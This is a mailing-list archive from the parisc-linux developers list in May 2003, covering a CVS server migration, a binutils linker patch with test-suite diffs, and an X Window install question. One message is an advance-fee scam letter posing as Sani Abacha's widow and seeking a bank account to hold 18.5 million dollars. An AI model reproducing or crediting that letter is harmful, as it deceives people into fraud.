List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18563

cvs has moved to our new box (finally! hosted on a parisc-linux box!)
if you've been using the recommended cvs.parisc-linux.org name, the transition
should have been transparent, in most regards.

- anonymous access should be transparent.
- ssh users that weren't part of willy's list of recent committers will need
  to request their account be reactivated.
- ssh users will see that the host key has changed.
- you may get errors until dns propogation has completed
- non-cvs accounts from dsl2 have not migrated to palinux, nor have home
  directories.  home directories should be migrated by hand.
- bame: your cronjobs that access cvs will likely break - sorry for the lack
  of warning.

please let me know if you notice other breakages (i'm not on this list).

-- 

dannf@dannf.org 


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hajia Mariam Abacha <aboyede@zwallet.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Good Day
Date: Wed, 28 May 2003 15:38:25 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20030528144502.804EB4829@dsl2.external.hp.com>
Reply-To: mariamabba22@indiatimes.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="d9518f36-9120-11d7-9a22-0008c7082063"
X-Trace: ger.gmane.org 1416622482 26018 80.91.229.3 (22 Nov 2014 02:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 28 08:45:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zwallet2072.com (80.179.100.73.forward.012.net.il [80.179.100.73])
	by dsl2.external.hp.com (Postfix) with SMTP id 804EB4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 May 2003 08:45:02 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18564

This is a multi-part message in MIME format
--d9518f36-9120-11d7-9a22-0008c7082063
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Sir/Madam

This letter maybe like a supprise to you but treat this with utmost care that =
you will understand my plige, Following the sudden death of my husband =
General Sani Abacha the former head of state of Nigeria in August 1998, I =
Have  been thrown into a state of utter confusion, frustration and =
hopelessness by the present civilian administration, I have been subjected to =
physical and psychological torture by the security agents in the country.

As a widow that is so traumatized, I have lost confidence with anybody within =
the country. You must have heard over the media reports and the internet on =
the recovery of various huge sums of money deposited by my husband in =
different security firms abroad, some companies willingly give up their =
secrets and disclosed our money confidently lodged there or many outright =
blackmail.

In fact the total sum discovered by the Government so far is in the tune of =
$700M. Million dollars. And they are not relenting to make me poor for life. =
I got your contacts through my personal research,and out of desperation =
decided to reach you through this medium.I will give you more information as =
to this regard as soon as you reply. I repose great confidence in you hence =
my approach to you due to security network placed on my day to day affairs I =
cannot afford to visit the embassy so that is why I decided to contact you =
and I hope you will not betray my confidence in you.

I have deposited the sum of 18.5 million dollars with a security firm abroad =
whose name is witheld for now until we open communication. I shall be =
grateful if you could receive this fund into your account for safe keeping.

This arrangement is known to you and my son Mustapha alone, so my son will =
deal directly with you as security is up my whole being.

I am seriously considering to settle down abroad in a friendly atmosphere =
like yours as soon as this fund get into your account so that I can start all =
over again if only you wish, but if it is impossible,just help me in =
diverting this fund into your account which will accrue you 20% of this fund =


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@bigpond.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [hppa] binutils will not build shared libraries with external deps?
Date: Thu, 29 May 2003 04:37:06 +0930
Lines: 39
Approved: news@gmane.org
Message-ID: <20030528190706.GC21904__31066.0087307499$1416622482$gmane$org@bubble.sa.bigpond.net.au>
References: <20030527052251.GC24873@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622482 26019 80.91.229.3 (22 Nov 2014 02:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:42 +0000 (UTC)
Cc: bug-binutils@gnu.org, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org, debian-gcc@lists.debian.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 28 13:07:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta05bw.bigpond.com (mta05bw.bigpond.com [139.134.6.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CA5A4829
	for <parisc-linux@parisc-linux.org>; Wed, 28 May 2003 13:07:11 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.81]) by
          mta05bw.bigpond.com (Netscape Messaging Server 4.15 mta05bw Jul
          16 2002 22:47:55) with SMTP id HFM2FV00.2LG for
          <parisc-linux@parisc-linux.org>; Thu, 29 May 2003 05:07:07 +1000 
Original-Received: from cpe-144-136-188-60.sa.bigpond.net.au ([144.136.188.60]) by bwmam05bpa.bigpond.com(MailRouter V3.2g 44/4045412); 29 May 2003 05:07:07
Original-Received: (qmail 22012 invoked by uid 179); 28 May 2003 19:07:06 -0000
Mail-Followup-To: Randolph Chung <tausq@debian.org>,
	bug-binutils@gnu.org, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org, debian-gcc@lists.debian.org
Content-Disposition: inline
In-Reply-To: <20030527052251.GC24873@tausq.org>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18565

On Mon, May 26, 2003 at 10:22:51PM -0700, Randolph Chung wrote:
> tausq@ios:~$ gcc -shared -fPIC -o blah.so blah.c
> /tmp/ccC3fZeH.o(.text+0x1c): In function `call_foo':
> : undefined reference to `foo'

This should fix it.  Would someone mind applying it for me?  I'm in
transit at the moment and internet access is slow and flaky.  2.14
branch too, I guess.

	* elf32-hppa.c (elf32_hppa_relocate_section): Delete bogus
	undefined_symbol call.

--- bfd/elf32-hppa.c~	2003-05-08 12:08:31.000000000 +0930
+++ bfd/elf32-hppa.c	2003-05-28 10:44:19.000000000 +0930
@@ -3666,16 +3666,11 @@ elf32_hppa_relocate_section (output_bfd,
 	    }
 	  else if (h->elf.root.type == bfd_link_hash_undefweak)
 	    ;
-	  else if (info->shared && !info->no_undefined
+	  else if (info->shared
+		   && !info->no_undefined
 		   && ELF_ST_VISIBILITY (h->elf.other) == STV_DEFAULT
 		   && h->elf.type != STT_PARISC_MILLI)
-	    {
-	      if (!((*info->callbacks->undefined_symbol)
-		    (info, h->elf.root.root.string, input_bfd,
-		     input_section, rel->r_offset, FALSE)))
-		return FALSE;
-	      warned_undef = TRUE;
-	    }
+	    ;
 	  else
 	    {
 	      if (!((*info->callbacks->undefined_symbol)

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. J. Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [hppa] binutils will not build shared libraries with external deps?
Date: Wed, 28 May 2003 13:27:57 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030528132757.A14921__3804.85646096549$1416622482$gmane$org@lucon.org>
References: <20030527052251.GC24873@tausq.org> <20030528190706.GC21904@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622482 26022 80.91.229.3 (22 Nov 2014 02:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:42 +0000 (UTC)
To: Randolph Chung <tausq@debian.org>, bug-binutils@gnu.org,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org,
	debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 28 14:28:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78F514829
	for <parisc-linux@parisc-linux.org>; Wed, 28 May 2003 14:28:04 -0600 (MDT)
Original-Received: from lucon.org (12-234-88-5.client.attbi.com[12.234.88.5])
          by attbi.com (sccrmhc02) with ESMTP
          id <2003052820275800200qmndge>; Wed, 28 May 2003 20:27:58 +0000
Original-Received: by lucon.org (Postfix, from userid 1000)
	id 689762C683; Wed, 28 May 2003 13:27:57 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030528190706.GC21904@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Thu, May 29, 2003 at 04:37:06AM +0930
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18566

On Thu, May 29, 2003 at 04:37:06AM +0930, amodra@bigpond.net.au wrote:
> On Mon, May 26, 2003 at 10:22:51PM -0700, Randolph Chung wrote:
> > tausq@ios:~$ gcc -shared -fPIC -o blah.so blah.c
> > /tmp/ccC3fZeH.o(.text+0x1c): In function `call_foo':
> > : undefined reference to `foo'
> 
> This should fix it.  Would someone mind applying it for me?  I'm in
> transit at the moment and internet access is slow and flaky.  2.14
> branch too, I guess.

Applied to mainline.


H.J.


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs migration
Date: Wed, 28 May 2003 08:56:17 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030528145617.GA10081@dannf.org>
References: <20030528064250.GA29360@dannf.org> <3ED467BB.90204@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622483 26024 80.91.229.3 (22 Nov 2014 02:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <r.scholz@bluehash.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 28 23:26:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 702DA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 May 2003 23:26:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id 8682329802C; Wed, 28 May 2003 23:25:59 -0600 (MDT)
X-IMAP-Sender: dannf
Content-Disposition: inline
In-Reply-To: <3ED467BB.90204@bluehash.de>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18567

On Wed, May 28, 2003 at 09:39:39AM +0200, Rdiger Scholz wrote:
> Hello,
> 
> I just tried to do a "cvs update", but I get an error during anonymous 
> login:
> 
> ruediger@gandalf:/usr/src$ cvs login
> Logging in to :pserver:anonymous@cvs.parisc-linux.org:2401/var/cvs
> CVS password: [empty]
> cvs login: authorization failed: server cvs.parisc-linux.org rejected 
> access to /var/cvs for user anonymous
> ruediger@gandalf:/usr/src$
> 
> DNS-Entry of cvs.parisc-linux.org for me is: 192.25.206.7.

that is out of date - the correct ip is now .14
-- 

dannf@dannf.org 


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [hppa] binutils will not build shared libraries with external deps?
Date: Thu, 29 May 2003 18:10:33 +0200
Lines: 150
Approved: news@gmane.org
Message-ID: <16086.12537.788243.943349__17807.8683712103$1416622483$gmane$org@gargle.gargle.HOWL>
References: <20030527052251.GC24873@tausq.org>
	<20030528190706.GC21904@bubble.sa.bigpond.net.au>
	<20030528132757.A14921@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622483 26026 80.91.229.3 (22 Nov 2014 02:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:43 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, bug-binutils@gnu.org,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org,
	debian-gcc@lists.debian.org
To: "H. J. Lu" <hjl@lucon.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 29 10:13:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id A69674829
	for <parisc-linux@parisc-linux.org>; Thu, 29 May 2003 10:13:37 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id SAA29394;
	Thu, 29 May 2003 18:10:34 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h4TGAXa23038;
	Thu, 29 May 2003 18:10:33 +0200 (MEST)
In-Reply-To: <20030528132757.A14921@lucon.org>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18568

H. J. Lu writes:
> On Thu, May 29, 2003 at 04:37:06AM +0930, amodra@bigpond.net.au wrote:
> > On Mon, May 26, 2003 at 10:22:51PM -0700, Randolph Chung wrote:
> > > tausq@ios:~$ gcc -shared -fPIC -o blah.so blah.c
> > > /tmp/ccC3fZeH.o(.text+0x1c): In function `call_foo':
> > > : undefined reference to `foo'
> > 
> > This should fix it.  Would someone mind applying it for me?  I'm in
> > transit at the moment and internet access is slow and flaky.  2.14
> > branch too, I guess.
> 
> Applied to mainline.

built binutils-2.14.90.0.4 with this patch, diffs between 2.14.90.0.3
and 2.14.90.0.4 (plus patch) attached.

	Matthias

--- ../ts-2.14.90.0.3	2003-05-28 23:26:27.000000000 +0200
+++ ../ts-2.14.90.0.4	2003-05-28 23:27:04.000000000 +0200
@@ -1,4 +1,4 @@
-Test Run By doko on Sat May 24 09:29:16 2003
+Test Run By doko on Wed May 28 23:17:19 2003
 Native configuration is hppa-unknown-linux-gnu
 
 		=== binutils tests ===
@@ -52,7 +52,7 @@
 		=== binutils Summary ===
 
 # of expected passes		32
-Test Run By doko on Sat May 24 09:29:43 2003
+Test Run By doko on Wed May 28 23:17:47 2003
 Native configuration is hppa-unknown-linux-gnu
 
 		=== gas tests ===
@@ -385,7 +385,7 @@
 # of expected failures		11
 ../as-new Inc.
 
-Test Run By doko on Sat May 24 09:33:34 2003
+Test Run By doko on Wed May 28 23:21:37 2003
 Native configuration is hppa-unknown-linux-gnu
 
 		=== ld tests ===
@@ -425,7 +425,7 @@
 PASS: size/aligment change of common symbols (change 2)
 Running ld/testsuite/ld-elfvers/vers.exp ...
 PASS: vers1
-FAIL: vers2
+PASS: vers2
 PASS: vers3
 PASS: vers4
 PASS: vers4a
@@ -472,7 +472,7 @@
 PASS: vers27c1
 PASS: vers27c2
 PASS: vers27d1
-FAIL: vers27d2
+PASS: vers27d2
 PASS: vers27d3
 PASS: vers27d4
 PASS: vers27d5
@@ -485,9 +485,9 @@
 PASS: ld-elfvsb/protected1
 FAIL: visibility (hidden) (non PIC)
 FAIL: visibility (hidden) (non PIC, load offset)
-FAIL: visibility (hidden)
+PASS: visibility (hidden)
 FAIL: visibility (hidden) (PIC main, non PIC so)
-FAIL: visibility (hidden) (PIC main)
+PASS: visibility (hidden) (PIC main)
 FAIL: visibility (hidden_normal) (non PIC)
 FAIL: visibility (hidden_normal) (non PIC, load offset)
 FAIL: visibility (hidden_normal)
@@ -500,9 +500,9 @@
 PASS: visibility (hidden_undef) (PIC main)
 FAIL: visibility (hidden_undef_def) (non PIC)
 FAIL: visibility (hidden_undef_def) (non PIC, load offset)
-FAIL: visibility (hidden_undef_def)
+PASS: visibility (hidden_undef_def)
 FAIL: visibility (hidden_undef_def) (PIC main, non PIC so)
-FAIL: visibility (hidden_undef_def) (PIC main)
+PASS: visibility (hidden_undef_def) (PIC main)
 FAIL: visibility (hidden_weak) (non PIC)
 FAIL: visibility (hidden_weak) (non PIC, load offset)
 FAIL: visibility (hidden_weak)
@@ -510,9 +510,9 @@
 FAIL: visibility (hidden_weak) (PIC main)
 FAIL: visibility (protected) (non PIC)
 FAIL: visibility (protected) (non PIC, load offset)
-FAIL: visibility (protected)
+PASS: visibility (protected)
 FAIL: visibility (protected) (PIC main, non PIC so)
-FAIL: visibility (protected) (PIC main)
+PASS: visibility (protected) (PIC main)
 FAIL: visibility (protected_undef) (non PIC)
 FAIL: visibility (protected_undef) (non PIC, load offset)
 PASS: visibility (protected_undef)
@@ -520,9 +520,9 @@
 PASS: visibility (protected_undef) (PIC main)
 FAIL: visibility (protected_undef_def) (non PIC)
 FAIL: visibility (protected_undef_def) (non PIC, load offset)
-FAIL: visibility (protected_undef_def)
+PASS: visibility (protected_undef_def)
 FAIL: visibility (protected_undef_def) (PIC main, non PIC so)
-FAIL: visibility (protected_undef_def) (PIC main)
+PASS: visibility (protected_undef_def) (PIC main)
 FAIL: visibility (protected_weak) (non PIC)
 FAIL: visibility (protected_weak) (non PIC, load offset)
 FAIL: visibility (protected_weak)
@@ -547,10 +547,10 @@
 FAIL: ELF weak func last DSO
 PASS: ELF DSO weak data first
 PASS: ELF DSO weak data last
-FAIL: ELF DSO weak data first DSO
-FAIL: ELF DSO weak data last DSO
-FAIL: ELF DSO weak data first DSO common
-FAIL: ELF DSO weak data last DSO common
+PASS: ELF DSO weak data first DSO
+PASS: ELF DSO weak data last DSO
+PASS: ELF DSO weak data first DSO common
+PASS: ELF DSO weak data last DSO common
 PASS: ELF weak data first
 PASS: ELF weak data last
 PASS: ELF weak data first common
@@ -613,10 +613,10 @@
 Running ld/testsuite/ld-shared/shared.exp ...
 FAIL: shared (non PIC)
 FAIL: shared (non PIC, load offset)
-FAIL: shared
+PASS: shared
 PASS: shared -Bsymbolic
 FAIL: shared (PIC main, non PIC so)
-FAIL: shared (PIC main)
+PASS: shared (PIC main)
 Running ld/testsuite/ld-sparc/sparc.exp ...
 Running ld/testsuite/ld-srec/srec.exp ...
 XFAIL: S-records
@@ -635,8 +635,8 @@
 
 		=== ld Summary ===
 
-# of expected passes		117
-# of unexpected failures	63
+# of expected passes		133
+# of unexpected failures	47
 # of expected failures		4
 builddir-single/ld/ld-new Inc.
 


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] missing tasksel option 'x-window system' on parisc box
Date: Fri, 30 May 2003 09:14:00 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <000c01c3267b$11f81610$1200a8c0@JOERGSPRINTER>
Reply-To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0009_01C3268B.CEE241F0"
X-Trace: ger.gmane.org 1416622483 26032 80.91.229.3 (22 Nov 2014 02:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:43 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 01:08:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 886944829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 01:08:22 -0600 (MDT)
Original-Received: from fwd03.sul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 19Ldzw-0002AQ-04; Fri, 30 May 2003 09:08:20 +0200
Original-Received: from JOERGSPRINTER (320081964826-0001@[217.83.11.147]) by fmrl03.sul.t-online.com
	with smtp id 19Ldzt-2Hpf0aC; Fri, 30 May 2003 09:08:17 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Sender: 320081964826-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18569

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C3268B.CEE241F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I got the six cd iso files using jigdo. After installation tasksel =
offers no option to install the x window system.
Is there a howto document covering this issue -or- would someone mind to =
help me get x runnning on a 712 box.
Anyone to help? Thanks, Joerg.


------=_NextPart_000_0009_01C3268B.CEE241F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I got the six cd iso files using jigdo. =
After=20
installation tasksel offers no option to install the x window=20
system.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Is there a howto document covering this =
issue -or-=20
would someone mind to help me get x runnning on a 712 box.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Anyone to help? Thanks, =
Joerg.</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0009_01C3268B.CEE241F0--




From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on parisc box
Date: Fri, 30 May 2003 10:24:46 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <BAY1-DAV22xS43Tv8hm00006867@hotmail.com>
References: <000c01c3267b$11f81610$1200a8c0@JOERGSPRINTER>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622483 26034 80.91.229.3 (22 Nov 2014 02:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:43 +0000 (UTC)
To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 30 02:24:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay1-dav22.bay1.hotmail.com [65.54.244.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 789FD4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 May 2003 02:24:57 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 30 May 2003 01:24:56 -0700
Original-Received: from 213.224.83.38 by bay1-dav22.bay1.hotmail.com with DAV;
